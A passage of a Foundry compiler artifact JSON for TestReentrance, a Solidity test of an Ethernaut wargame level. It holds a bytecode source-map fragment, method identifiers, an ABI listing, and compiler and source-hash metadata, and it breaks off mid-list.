7946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19358:184::-;19428:6;19481:2;19469:9;19460:7;19456:23;19452:32;19449:52;;;19497:1;19494;19487:12;19449:52;-1:-1:-1;19520:16:155;;19358:184;-1:-1:-1;19358:184:155:o;19547:125::-;19612:9;;;19633:10;;;19630:36;;;19646:18;;:::i;19859:383::-;20056:2;20045:9;20038:21;20019:4;20082:45;20123:2;20112:9;20108:18;20100:6;20082:45;:::i;:::-;20175:9;20167:6;20163:22;20158:2;20147:9;20143:18;20136:50;20203:33;20229:6;20221;20203:33;:::i;:::-;20195:41;19859:383;-1:-1:-1;;;;;19859:383:155:o;20247:335::-;20326:6;20379:2;20367:9;20358:7;20354:23;20350:32;20347:52;;;20395:1;20392;20385:12;20347:52;20428:9;20422:16;20461:18;20453:6;20450:30;20447:50;;;20493:1;20490;20483:12;20447:50;20516:60;20568:7;20559:6;20548:9;20544:22;20516:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Reentrance.t.sol\":\"TestReentrance\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/ReentranceAttack.sol\":{\"keccak256\":\"0xe63d072819ce39defd53bc880be712b28ddf8b52a4fb2c3fad1ac18f9808e90e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7e1016f187e230df88373c674a96b094fed2bf301dadb0a8445904ad559da195\",\"dweb:/ipfs/QmQLWAAUEBgvayDHhsmx8MGPVF2z3DL3wo3GWGX8uxhZ7A\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\